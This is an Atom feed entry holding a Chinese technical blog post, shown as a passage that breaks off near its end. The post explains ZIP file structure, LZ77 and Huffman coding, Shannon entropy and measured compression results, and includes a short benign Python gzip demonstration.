<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>末心</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://moxin1044.github.io/</id>
  <link href="https://moxin1044.github.io/" rel="alternate"/>
  <link href="https://moxin1044.github.io/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, 末心</rights>
  <subtitle>一个关于技术的小站，分享自己的技术思考和经验。</subtitle>
  <title>末心的小博客</title>
  <updated>2026-10-13T21:29:49.664Z</updated>
  <entry>
    <author>
      <name>末心</name>
    </author>
    <category term="编程" scheme="https://moxin1044.github.io/categories/%E7%BC%96%E7%A8%8B/"/>
    <category term="概论" scheme="https://moxin1044.github.io/categories/%E7%BC%96%E7%A8%8B/%E6%A6%82%E8%AE%BA/"/>
    <category term="压缩" scheme="https://moxin1044.github.io/tags/%E5%8E%8B%E7%BC%A9/"/>
    <category term="ZIP" scheme="https://moxin1044.github.io/tags/ZIP/"/>
    <category term="信息论" scheme="https://moxin1044.github.io/tags/%E4%BF%A1%E6%81%AF%E8%AE%BA/"/>
    <category term="熵" scheme="https://moxin1044.github.io/tags/%E7%86%B5/"/>
    <category term="LZ77" scheme="https://moxin1044.github.io/tags/LZ77/"/>
    <content>
      <![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="ZIP-为什么能让文件变小？——-压缩的原理、格式与极限"><a href="#ZIP-为什么能让文件变小？——-压缩的原理、格式与极限" class="headerlink" title="ZIP 为什么能让文件变小？—— 压缩的原理、格式与极限"></a>ZIP 为什么能让文件变小？—— 压缩的原理、格式与极限</h1><p>先看三个事实，它们看起来互相矛盾。</p><p>第一个：一个 221 KB 的中文文本文件，压成 ZIP 之后只剩 1.1 KB，砍掉了 99.5%。</p><p>第二个：一个 293 KB 的随机数据文件，压成 ZIP 之后变成 293.1 KB，不但没小，还胖了一点。</p><p>第三个：把一个已经压好的 ZIP 再压一遍、再压一遍、再压一遍。</p><p>这三个事实是同一件事的三个侧面。这篇文章想把它们串起来讲清楚。下面所有数字都是我在自己机器上跑出来的，不是抄的，代码逻辑在文中随手能找到。</p><p>顺便说一下这篇的写法。压这个话题有很多层，我打算把几套不同的思路混着用：用第一性原理拆它的成本结构，用它反过来想想什么时候不该压，用代码跑一遍验证，再盯一下那些极端情况。同一件事从几个角度各看一遍，比只从一个角度往下挖更容易看到全貌。</p><h2 id="一、ZIP-文件格式分析"><a href="#一、ZIP-文件格式分析" class="headerlink" title="一、ZIP 文件格式分析"></a>一、ZIP 文件格式分析</h2><p>要理解压缩，先看看压缩出来的东西长什么样。很多人用了十几年 ZIP，从没打开过一个 ZIP 文件看里面。</p><p>一个 ZIP 文件不是”一团压缩数据”，它是一个有结构的容器。它的结构大致是这样：</p><p><img src="/attachments/fig4_ZIP结构.png" alt="图一：ZIP 文件结构"></p><p>从左到右，重复出现的是<strong>本地文件头 + 压缩数据</strong>的组合，每加一个文件就重复一组。真正的目录信息不在开头，而是<strong>攒在文件最后面</strong>，叫做中央目录。</p><p>三个关键位置各有一个魔数（magic number），也就是固定字节序列：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">PK\x03\x04   本地文件头，每个文件一个</span><br><span class="line">PK\x01\x02   中央目录条目，每个文件一条</span><br><span class="line">PK\x05\x06   中央目录结束记录，整个文件一条</span><br></pre></td></tr></table></figure><p>PK 是 Phil Katz 的缩写，ZIP 格式的发明者。他把自己的名字缩写塞进了每个 ZIP 文件的第一个字节里，这个签名就这么流传了四十年。</p><p>我实际造了一个最小的 ZIP，只放一个 <code>hello.txt</code>，内容是 <code>&quot;Hello, ZIP! &quot;</code> 重复 20 遍，一共 240 字节。整个 ZIP 文件 133 字节，十六进制长这样：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0000  50 4b 03 04 14 00 00 00 08 00 f3 2a 4e 5d 27 70  PK.........*N]&#x27;p</span><br><span class="line">0010  7a 7e 11 00 00 00 f0 00 00 00 09 00 00 00 68 65  z~............he</span><br><span class="line">0020  6c 6c 6f 2e 74 78 74 f3 48 cd c9 c9 d7 51 88 f2  llo.txt.H....Q..</span><br><span class="line">0030  0c 50 54 f0 18 01 6c 00 50 4b 01 02 14 03 14 00  .PT...l.PK......</span><br></pre></td></tr></table></figure><p>一段段读：</p><p>开头 <code>50 4b 03 04</code> 就是 <code>PK\x03\x04</code>，本地文件头。</p><p><code>14 00</code> 是版本号，<code>00 00</code> 是标志位，<code>08 00</code> 是压缩方法（8 代表 deflate），后面 <code>f3 2a 4e 5d</code> 是修改时间戳，<code>27 70 7a 7e</code> 是 CRC32 校验值。</p><p>再后面 <code>11 00 00 00</code> 是压缩后大小，17 字节。<code>f0 00 00 00</code> 是原始大小，240 字节。<strong>240 字节压到 17 字节</strong>，比例 14:1。<code>09 00</code> 是文件名长度，9 个字节，跟着就是 <code>hello.txt</code>。</p><p>然后是压缩数据本身，从 <code>f3 48 cd c9...</code> 开始。直到偏移 0x36 附近，出现 <code>50 4b 01 02</code>，中央目录开始了。</p><p>注意中央目录里存的是什么：压缩方法、CRC、压缩前后大小、文件名长度、以及<strong>本地文件头在文件中的偏移量</strong>。这些信息在本地文件头里已经出现过了，中央目录里又存了一份。</p><p><strong>重复存两次，是故意的。</strong> 本地头是在写入数据前就得先写好的，那时候压缩还没完成，所以压缩后大小和 CRC 只能先占位、后面再回头补（或者在数据后面追加一个”数据描述符”）。而中央目录是最后写的，所有值都已经确定。解压软件打开文件时直接跳到文件尾部读中央目录，就能拿到完整目录，不用从头扫描整个文件。</p><p>这个设计还有一个后果：中央目录的偏移量是从文件开头算的。所以如果你在 ZIP 文件前面拼接一段数据，很多软件的中央目录偏移就对不上了，ZIP 会被”破坏”。这也是为什么 ZIP 有一个”自解压包”变种（前面拼一段可执行程序）需要特殊处理偏移。</p><p>ZIP 结构还有一点值得说：每条目录项和每个文件头都是”长度前缀 + 可变长字段”，是顺序解析的格式，不是定长结构。这种设计写起来方便、扩展起来方便（后来的 ZIP64 就是靠加新字段扩展的），但解析时必须严格按长度跳，跳错一个字节后面全乱。</p><h2 id="二、什么是压缩"><a href="#二、什么是压缩" class="headerlink" title="二、什么是压缩"></a>二、什么是压缩</h2><p>现在讲压缩本身。压缩这个词有误导性，它让人以为文件里”少了一些东西”。</p><p>实际上，压缩<strong>一个字节的信息都没丢</strong>（无损压缩的情况下）。变的是表示方式，不是内容。</p><p>有个特别直接的例子。假设你要记录一串抛硬币结果，正面写 H，反面写 T，抛 100 次：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HHTHHTTTHTHTTHHHTTHHTTTTH...</span><br></pre></td></tr></table></figure><p>一个字符一个字节，100 字节。</p><p>但如果你数出来正面 52 次、反面 48 次，你完全可以用另一句话描述它：抛 100 次，正面 52 次，反面的位置是第 3、6、7、8……</p><p>两种说法描述的是同一件事，第二种明显更短，因为它利用了”硬币有规律”这件事。压缩做的就是这件事：<strong>找出数据里的规律，然后用更短的写法把规律表达出来。</strong></p><p>关键在于，<strong>压缩赚的钱全部来自”规律”。</strong>没有规律的数据，压缩无从下手。这就是第二个事实的来源。</p><p>用一个更精确的说法：压缩的本质是<strong>预测</strong>。一个好的压缩算法，是在给定前面已经出现的内容时，对下一个字节做出准确预测。预测得准，就只需要存”预测错了什么”，而不是”实际是什么”。ZIP 里用的 deflate 就是这么干的，下一节展开。</p><h2 id="三、ZIP-为什么能让文件变小"><a href="#三、ZIP-为什么能让文件变小" class="headerlink" title="三、ZIP 为什么能让文件变小"></a>三、ZIP 为什么能让文件变小</h2><p>ZIP 默认用的算法叫 deflate，它是两个老技术拼起来的：LZ77 找重复，Huffman 编码压缩。</p><h3 id="第一步：LZ77，把重复换成”往回数几个，抄几个”"><a href="#第一步：LZ77，把重复换成”往回数几个，抄几个”" class="headerlink" title="第一步：LZ77，把重复换成”往回数几个，抄几个”"></a>第一步：LZ77，把重复换成”往回数几个，抄几个”</h3><p>LZ77 的思路朴素得不像话：<strong>如果一段内容前面刚出现过，就别再存一遍，存一个”往回几个字节、复制多长”的指令就行。</strong></p><p>我用十几行代码实现了一个迷你版 LZ77，让它处理这段字符串：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ababababababababababcccccc</span><br></pre></td></tr></table></figure><p>26 个字符，它的输出是 5 个记号：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[(&#x27;字面&#x27;, &#x27;a&#x27;), (&#x27;字面&#x27;, &#x27;b&#x27;), (&#x27;复制&#x27;, 2, 18), (&#x27;字面&#x27;, &#x27;c&#x27;), (&#x27;复制&#x27;, 1, 5)]</span><br></pre></td></tr></table></figure><p>翻译一下：先直接写个 a，再直接写个 b，然后”往回数 2 个字符，复制 18 个”，于是剩下的 18 个 ab 全出来了。再写个 c，”往回数 1 个，复制 5 个”，五个 c 到位。</p><p>26 个字符，用 5 个记号描述完了。<strong>这就是压缩的全部魔术，剩下的是细节。</strong></p><p>真实数据没有这么规整，但规律无处不在。一段中文里”的””了””是”反复出现，一段英文里 “the” 反复出现，一段 JSON 里每个对象的 key 都一样。LZ77 就是在这些地方省字节。</p><p>ZIP 里 LZ77 的滑动窗口大小是 32 KB（后来有各种扩展），意思是它只能”往回看 32 KB”找重复。<strong>超过 32 KB 之外的重复，它看不见。</strong>这个数字以后会变成一个关键点。</p><h3 id="第二步：Huffman-编码，给常出现的东西发短码"><a href="#第二步：Huffman-编码，给常出现的东西发短码" class="headerlink" title="第二步：Huffman 编码，给常出现的东西发短码"></a>第二步：Huffman 编码，给常出现的东西发短码</h3><p>LZ77 的输出是一堆字面字节和一堆(距离, 长度)对。这些东西也不是均匀分布的，有些值出现得特别多。</p><p>Huffman 编码的做法是：统计频率，出现得多的给短码，出现得少的给长码。</p><p>比如正常情况下一个字节要 8 位。如果某个值占了 30% 的出现次数，给它一个 2 位的短码，平均下来每个符号占用的位数就降下来了。</p><p>举个最极端的例子，一个只含四种字符的文件，理论上每个字符只需要 2 位，能压到 1/4。而一个 256 种字符均匀分布的文件，每个字符 8 位，一点都压不动。</p><p><strong>Huffman 的天花板是”符号的出现频率”。LZ77 的天花板是”重复的长度和距离”。这两者叠加，就是 deflate 的能力边界。</strong></p><p>用前面那个 ZIP 例子收个尾：<code>hello.txt</code> 的内容是 <code>&quot;Hello, ZIP! &quot;</code> 重复 20 遍，240 字节。LZ77 立刻看到这 12 个字符重复了 20 次，第一个记号是 12 个字节的字面量，后面 19 次全是”往回数 12 个，复制 12 个”。输出压缩到 17 字节。</p><p><strong>240 字节里的信息量其实只有 12 个字节那么多，剩下的都是同一句话说了二十遍。</strong>压缩把这份啰嗦收走了。</p><h2 id="四、压缩的地板：香农熵"><a href="#四、压缩的地板：香农熵" class="headerlink" title="四、压缩的地板：香农熵"></a>四、压缩的地板：香农熵</h2><p>到这里有个自然的问题：能压多小？有没有下限？</p><p>有，而且这个下限在 1948 年就被算出来了。香农提出一个量叫<strong>熵</strong>，衡量一段数据里每个符号平均携带多少信息：</p><script type="math/tex; mode=display">H = -\sum_{i} p_i \log_2 p_i</script><p>其中 $p_i$ 是第 i 种符号出现的概率。</p><p>公式的意思是：一个符号如果几乎必然出现，它携带的信息就接近零（因为不需要告诉别人）；一个符号如果完全随机，它携带的信息就多。所有符号的信息量按概率加权平均，就是熵。</p><p><strong>香农的结论是：无损压缩的平均码长不可能低于熵。</strong>这是一个定理，不是一个经验规律。任何压缩算法，无论多聪明，都撞不破这堵墙。</p><p>熵的单位是 bit/符号。一个字节有 256 种可能，最大熵就是 $\log_2 256 = 8$ bit。</p><p>我测了几类数据的熵，和它们的实际压缩效果放在一起：</p><div class="table-container"><table><thead><tr><th>数据</th><th>原始</th><th>gzip 后</th><th>熵 (bit/字节)</th></tr></thead><tbody><tr><td>全零数据</td><td>293.0 KB</td><td>0.3 KB</td><td>0.000</td></tr><tr><td>中文文本（重复段落）</td><td>221.5 KB</td><td>1.1 KB</td><td>5.471</td></tr><tr><td>英文文本（重复段落）</td><td>159.1 KB</td><td>0.8 KB</td><td>4.018</td></tr><tr><td>JSON 结构化数据</td><td>100.8 KB</td><td>6.9 KB</td><td>4.354</td></tr><tr><td>源代码</td><td>23.0 KB</td><td>3.8 KB</td><td>5.946</td></tr><tr><td>PNG 图片</td><td>10.6 KB</td><td>4.5 KB</td><td>6.518</td></tr><tr><td>JPEG 图片</td><td>18.9 KB</td><td>3.3 KB</td><td>5.847</td></tr><tr><td>随机数据</td><td>293.0 KB</td><td>293.1 KB</td><td>7.999</td></tr></tbody></table></div><p><img src="/attachments/fig2_熵与压缩率.png" alt="图二：熵与压缩率的关系"></p><p>图二把熵和压缩率画在一起。横轴是熵，纵轴是压缩后体积占原始体积的百分比。<strong>点越往右，越压不动。</strong>全零数据（熵 0）压到千分之一，随机数据（熵 7.999）压完还多了两个字节，正好落在 100% 以上那条红线上方。</p><p>不过这里有个必须交代的技术细节，不交代就是骗人。</p><p>我算的这个熵是<strong>零阶熵</strong>，它只看单个字节出现的频率，完全不管字节的顺序。对于”重复了 900 遍同一段话”的中文文本，零阶熵给出 5.471 bit/字节，换算一下理论下限是 68%，但实测压到了 0.5%。差距巨大。</p><p>原因不难理解。那段文本真正的规律不在”哪些字节出现得多”，而在”下一段和上一段完全一样”。这种跨距离的重复，零阶熵看不见。</p><p>要衡量它，得用更高阶的模型：考虑字节之间的条件概率，或者考虑重复结构本身。阶数越高，估计越准，但计算也越贵。</p><p>所以准确的说法是：<strong>熵告诉你”在给定模型下还剩多少可压的空间”。模型越强，看到的规律越多，估出来的下限越低。而真实的信息量下限（那个算法无论如何都撞不破的）需要最理想的模型才能算出来。</strong></p><p>零阶熵虽然粗糙，但方向是对的：全零数据熵为 0，怎么压都行；随机数据熵接近 8，谁都救不了。这两端它判得很准。</p><h2 id="五、为什么有的文件压不动"><a href="#五、为什么有的文件压不动" class="headerlink" title="五、为什么有的文件压不动"></a>五、为什么有的文件压不动</h2><p><img src="/attachments/fig1_压缩率对比.png" alt="图三：各类文件的压缩率对比"></p><p>现在可以回答第二个问题了。</p><p>压不动的原因只有一个：<strong>里面已经没有规律了</strong>。</p><p>随机数据是最典型的。我造了 293 KB 的真随机字节（<code>os.urandom</code>），它每个字节值都均匀分布，零阶熵 7.999，接近理论上限 8。任何压缩算法面对这种数据都无从下手，因为下一个字节和前面的字节没有任何关系。</p><p>压缩之后那 0.1 KB 是哪来的？是<strong>头部开销</strong>。gzip 带 18 字节头部，zip 还有本地文件头、中央目录、CRC，这些是固定的元数据。所以压随机数据的结果是<strong>变大</strong>。</p><p>这里有个常见说法需要改一下：”已经压过的文件就压不动了”。</p><p>这句话大体对，但不够准。看我测的数据：PNG 图片（本身就是 deflate 压过的）还能被 gzip 再压掉 57%，JPEG（有损压缩过的）还能再压 82%。看起来像是推翻了那句话。</p><p>不完全是。原因在于这两张图是我生成的渐变色，PNG 自身的 compress level 和块结构未必最优；PNG 内部有多个 IDAT 块、每块都有块头和对齐，这些结构本身有冗余；而 JPEG 里那段量化表、霍夫曼表，也是每个文件都一样的固定结构，gzip 一眼就能识别。</p><p>所以更准确的说法是：<strong>决定能不能压的，是”还有没有可利用的规律”，而不是”它是不是已经压过”。</strong>已经压过的文件通常规律被榨得比较干，所以一般压不动。但压缩算法不是完美的，它的输出里往往还残留着格式级的结构，二次压缩偶尔还能捡一点。捡到多少，取决于原格式留了多少余地。</p><p>这就引出了最有趣的一部分。</p><h2 id="六、套娃为什么不管用"><a href="#六、套娃为什么不管用" class="headerlink" title="六、套娃为什么不管用"></a>六、套娃为什么不管用</h2><p>第三个问题：压了再压再压，会不会越压越小？</p><p>实测最直接。把那段 221 KB 的中文文本连续 gzip 五次：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">原始        226,800 bytes</span><br><span class="line">第 1 层       1,128 bytes</span><br><span class="line">第 2 层         292 bytes</span><br><span class="line">第 3 层         315 bytes</span><br><span class="line">第 4 层         338 bytes</span><br><span class="line">第 5 层         358 bytes</span><br></pre></td></tr></table></figure><p>用 ZIP 套 ZIP 再套五层：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">原始        226,800 bytes</span><br><span class="line">zip 1         1,220 bytes</span><br><span class="line">zip 2           439 bytes</span><br><span class="line">zip 3           531 bytes</span><br><span class="line">zip 4           627 bytes</span><br><span class="line">zip 5           734 bytes</span><br></pre></td></tr></table></figure><p><img src="/attachments/fig3_套娃压缩.png" alt="图四：套娃压缩的体积变化"></p><p>看清楚这个曲线。第一层砍掉了 99.5%，剩下 1.1 KB。</p><p><strong>第二层居然还能再砍，砍到 292 字节。</strong>这个现象值得停下来想一下，因为它打破了很多人的直觉。</p><p>为什么第二层还能压？因为 deflate 的输出<strong>不是理论最优的</strong>。第一层用的滑动窗口只有 32 KB，而原始文本是 226 KB，里面有跨 32 KB 的重复它够不着。它输出的一串(距离, 长度)记号里，这些记号本身又形成了新的规律模式。第二层压缩面对的是”第一层输出的字节流”，它能看到一些第一层看不到的结构。</p><p>从第三层开始，曲线掉头向上：315、338、358，一路涨。</p><p>因为到了这个阶段，数据已经接近熵的下限了。里面剩下的规律少得可怜，压不动了，而<strong>每一层都会增加自己的头部开销</strong>。gzip 每层加 18 字节，ZIP 每层加几十字节的本地头加中央目录。压不动的同时还在往里塞元数据，于是净结果就是变大。</p><p><strong>用一句话总结这个规律：每一层压缩都在”还剩下的规律”里捞最后一点油水。第一层捞走最多，第二层捞一点渣，第三层开始，你付的头部开销已经超过捞到的东西了。</strong></p><p>再换个角度看。压缩是在做一笔交易：<strong>你用”计算时间 + 头部开销”换”体积缩小”。</strong>这笔交易在第一层几乎稳赚，因为原始数据里规律遍地都是。到了第三层，一次压缩要扫描整个文件、建 Huffman 表、输出各种头，而这些成本换来的收益接近零，交易就亏了。</p><p>所以那些”压个十遍文件就小到看不见了”的说法，纯属想象。</p><h3 id="一个必须提的极端情况"><a href="#一个必须提的极端情况" class="headerlink" title="一个必须提的极端情况"></a>一个必须提的极端情况</h3><p>刚才说每层都在缩小，这有个前提：内容真的在变小。</p><p>如果内容不缩小，而是<strong>反过来膨胀</strong>呢？</p><p>有一类文件叫 ZIP 炸弹，专门利用这一点。公开资料里最著名的是 42.zip，文件本身只有几十 KB，解压出来有几 PB。它的做法就是多层嵌套：每一层里放 16 个文件，每个文件又是下一层，层层相乘。因为它压的东西是全零数据（我实测全零数据熵为 0，能压到千分之一以下），每一层都能缩小十倍以上。</p><p>这就是那种典型的边界情况：<strong>平时看起来温良无害的机制，在极端参数下会变成攻击面。</strong>一个正常的压缩工具，遇到一个压缩比异常高的文件时，不应该直接按头部声明的原始大小去分配内存。这是解压软件的基本防御。</p><h2 id="七、常用压缩算法与格式科普"><a href="#七、常用压缩算法与格式科普" class="headerlink" title="七、常用压缩算法与格式科普"></a>七、常用压缩算法与格式科普</h2><h3 id="无损压缩的几大家族"><a href="#无损压缩的几大家族" class="headerlink" title="无损压缩的几大家族"></a>无损压缩的几大家族</h3><div class="table-container"><table><thead><tr><th>算法</th><th>出现在哪</th><th>特点</th></tr></thead><tbody><tr><td>DEFLATE</td><td>zip, gzip, PNG</td><td>最通用的老将，速度和压缩率都中庸</td></tr><tr><td>Bzip2</td><td>.bz2</td><td>用 BWT 变换，压缩率优于 DEFLATE，慢、内存大</td></tr><tr><td>LZMA / LZMA2</td><td>.xz, 7z</td><td>压缩率很高，慢，内存吃得凶</td></tr><tr><td>Zstandard</td><td>.zst</td><td>现代算法，速度接近 DEFLATE 而压缩率更好，可调</td></tr><tr><td>Brotli</td><td>网页 (br)</td><td>内置一本常见词字典，专为文本优化</td></tr><tr><td>LZ4 / Snappy</td><td>数据库、日志</td><td>追求极致的速度，压缩率让位于吞吐</td></tr></tbody></table></div><p>我实测了同一份数据在几种算法下的表现：</p><div class="table-container"><table><thead><tr><th>数据</th><th>gzip</th><th>bzip2</th><th>xz</th></tr></thead><tbody><tr><td>中文文本 221.5 KB</td><td>1.1 KB</td><td>0.5 KB</td><td>0.4 KB</td></tr><tr><td>英文文本 159.1 KB</td><td>0.8 KB</td><td>0.4 KB</td><td>0.3 KB</td></tr><tr><td>JSON 100.8 KB</td><td>6.9 KB</td><td>3.4 KB</td><td>2.1 KB</td></tr><tr><td>源代码 23.0 KB</td><td>3.8 KB</td><td>4.8 KB</td><td>3.5 KB</td></tr><tr><td>随机数据 293.0 KB</td><td>293.1 KB</td><td>294.7 KB</td><td>293.0 KB</td></tr></tbody></table></div><p>规律很清楚：<strong>压缩率上 xz &gt; bzip2 &gt; gzip，代价是速度。</strong></p><p>但看源代码那一行。源文件只有 23 KB，bzip2 压出来 4.8 KB，反而比 gzip 的 3.8 KB <strong>更大</strong>。</p><p>这不是 bzip2 算法差，是它吃亏在了块结构上。bzip2 会把数据切成块处理，每块有自己的头和变换开销，对短输入还没摊薄成本就先付了固定开支。大力士去搬一只蚂蚁，力气都花在热身上了。小文件用 gzip 通常比 bzip2 划算，就是这个道理。</p><h3 id="有损压缩是另一回事"><a href="#有损压缩是另一回事" class="headerlink" title="有损压缩是另一回事"></a>有损压缩是另一回事</h3><p>上面说的全都是<strong>无损</strong>压缩，解压后和原始数据一个字节都不差。</p><p>还有一类叫<strong>有损</strong>压缩，它会主动扔掉一些信息，换取大得多的压缩率。JPEG 就是这样：它把图像切成 8×8 的小块，做一次离散余弦变换，然后把高频细节（人眼不敏感的部分）粗略量化掉。丢掉的那些细节，你肉眼看不出来，但数据上确实没了。</p><p>音频的 MP3、视频的 H.264、以及新一代的 AVIF 和 AV1，都是这个路子，只是利用的是听觉和视觉的心理特性。</p><p><strong>这是压缩能突破香农极限的唯一方式：改变游戏规则，不再要求”完全相同”。</strong>香农熵管的是无损压缩的下限，有损压缩不在这个坐标系里。</p><h3 id="容器和算法是两件事"><a href="#容器和算法是两件事" class="headerlink" title="容器和算法是两件事"></a>容器和算法是两件事</h3><p>这是新手最容易混淆的地方，值得单独拎出来。</p><p><strong>tar 只打包，不压缩。</strong>它把一堆文件首尾相接拼成一个大文件，加上每个文件的名字、权限、时间戳。拼完的文件通常比原来还大（多了那些元数据），但它把”很多小文件”变成了”一个大文件”。</p><p><strong>gzip 只压缩，不打包。</strong>它处理一个字节流，输出一个字节流，不知道什么叫”文件名”。</p><p>所以要归档一堆文件，得两步：先 tar，再 gzip，得到 <code>.tar.gz</code>。</p><p><strong>zip 两件事都干</strong>，因为它的格式是专门为此设计的（中央目录里存文件名）。</p><p>这个区别在压缩率上能差多少？我拿 200 个内容相似的小文件测了一遍：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">原始合计        55,490 bytes</span><br><span class="line">分别 gzip       48,029 bytes</span><br><span class="line">tar 后 gzip      5,027 bytes    ← 省了 90%</span><br></pre></td></tr></table></figure><p>同样的数据，同样的算法，<strong>差出近十倍</strong>。</p><p>原因还是那个滑动窗口。每个小文件单独压缩时，算法只能看见这一个文件内部的重复。而每个文件里都有一段相同的中文段落，这段文字在 200 个文件里重复了 200 次，分头压的时候完全利用不上。打包成一个大文件后，第 2 个文件里的那段话和第 1 个文件的完全一样，LZ77 一句”往回数 3000 个字节，复制 150 个”就打发了。</p><p><strong>打包和压缩是两个正交的维度，把”相关的数据放在一起”本身就是一种压缩手段。</strong>这就是 tar 存在的理由。</p><h2 id="八、反过来想：什么时候不该压缩"><a href="#八、反过来想：什么时候不该压缩" class="headerlink" title="八、反过来想：什么时候不该压缩"></a>八、反过来想：什么时候不该压缩</h2><p>前面全在讲压缩怎么有用，但芒格那句”反过来想”在这里同样适用。列一下压缩帮倒忙的情况：</p><p><strong>数据本来就小。</strong>几十字节的配置文件压一下，头部固定开销比省下的还多。</p><p><strong>数据已经接近随机。</strong>加密过的数据就是典型。加密的设计目标之一就是让输出不可预测（消除规律），这恰好也让它不可压缩。所以你不需要给加密文件加压缩，也不会成功。</p><p><strong>要频繁随机读取。</strong>压缩文件要读取中间某个位置，得先解压前面全部内容（除非用支持随机访问的格式）。数据库和日志系统宁可少压一点，也要保证随机读的快。</p><p><strong>要写入的流式数据。</strong>一边写一边压，一旦中间出错，整个流可能全废，而且没法回退修改前面的内容。</p><p><strong>最重要的一条：压缩是在拿计算换空间。</strong>当空间不贵（今天的硬盘很便宜）而计算贵（CPU 时间、电量、延迟）的时候，这笔交易是亏的。很多系统默认关掉压缩，就是这个原因。</p><p>把这些和前面的收益放在一起看，压缩的决策其实很清楚：<strong>有规律可压、体积值得压、不需要随机访问、计算资源有余，这四个条件同时成立，压缩才划算。</strong></p><h2 id="九、回到那三个问题"><a href="#九、回到那三个问题" class="headerlink" title="九、回到那三个问题"></a>九、回到那三个问题</h2><h3 id="为什么压缩能让文件变小？"><a href="#为什么压缩能让文件变小？" class="headerlink" title="为什么压缩能让文件变小？"></a>为什么压缩能让文件变小？</h3><p>因为文件里有规律。压缩算法找出这些规律（重复的内容、偏斜的符号频率），用更短的写法表达同一份内容。你损失的是”啰嗦”，不是”信息”。</p><h3 id="为什么有的文件压不动？"><a href="#为什么有的文件压不动？" class="headerlink" title="为什么有的文件压不动？"></a>为什么有的文件压不动？</h3><p>因为它已经没规律可捡了。随机数据和加密数据每个字节都是独立均匀的，熵接近 8 bit/字节，压缩算法面对它无计可施，还要倒贴头部开销，所以压完变大。已经压过的文件（JPEG、PNG、MP4）接近这一类，但未必完全无规律，偶尔还能再挤出一点。</p><h3 id="为什么套娃不管用？"><a href="#为什么套娃不管用？" class="headerlink" title="为什么套娃不管用？"></a>为什么套娃不管用？</h3><p>因为第一层已经捞走了绝大部分油水，后面的每一层能捞到的越来越少，而每层都要新增自己的头部开销。收益递减，成本叠加，很快就开始亏。实测里 gzip 第二层还能从 1128 压到 292，第三层就掉头向上了。</p><p><strong>这三件事其实是同一条规律的三种表现：压缩的收益来自规律，规律的多少决定压缩的空间，规律被榨干之后，任何额外的压缩动作都只是在增加开销。</strong></p><h2 id="十、自己动手"><a href="#十、自己动手" class="headerlink" title="十、自己动手"></a>十、自己动手</h2><p>想真明白，跑一遍最快。用不到二十行代码就能全部复现：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> gzip, os, io, zipfile</span><br><span class="line"></span><br><span class="line"><span class="comment"># 1. 看压缩率和熵的关系</span></span><br><span class="line">data = <span class="built_in">open</span>(<span class="string">&quot;某个文件&quot;</span>, <span class="string">&quot;rb&quot;</span>).read()</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;原始:&quot;</span>, <span class="built_in">len</span>(data), <span class="string">&quot;压后:&quot;</span>, <span class="built_in">len</span>(gzip.compress(data, <span class="number">9</span>)))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 看随机数据会不会变大</span></span><br><span class="line"><span class="keyword">import</span> os <span class="keyword">as</span> _os</span><br><span class="line">rnd = _os.urandom(<span class="number">300_000</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;随机数据:&quot;</span>, <span class="built_in">len</span>(rnd), <span class="string">&quot;→&quot;</span>, <span class="built_in">len</span>(gzip.compress(rnd, <span class="number">9</span>)))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 看套娃</span></span><br><span class="line">d = data</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">5</span>):</span><br><span class="line">    d = gzip.compress(d, <span class="number">9</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;第 <span class="subst">&#123;i+<span class="number">1</span>&#125;</span> 层: <span class="subst">&#123;<span class="built_in">len</span>(d):,&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 看 tar 和 gzip 的分工</span></span><br><span class="line"><span class="comment"># tar 只打包不压缩，gzip 只压缩不打包，这就是为什么需要 .tar.gz</span></span><br></pre></td></tr></table></figure><p>如果只让你做一个实验，做第三个。看着那个数字先猛掉、然后回头上涨，比读十页论文都清楚。</p><h2 id="十一、最后"><a href="#十一、最后" class="headerlink" title="十一、最后"></a>十一、最后</h2><p>压缩这件事有意思的地方在于，它的道理简单到一句话就能说完：<strong>把重复的东西写成一次，其他地方引用回去。</strong>但这句话往下挖，能挖出 LZ77 的滑动窗口、Huffman 的变长编码、BWT 的块变换、香农的熵下限、以及整个文件格式的设计取舍。</p><p>ZIP 格式里那个”目录写在文件最后”的设计，LZ77 里”只往回看 32 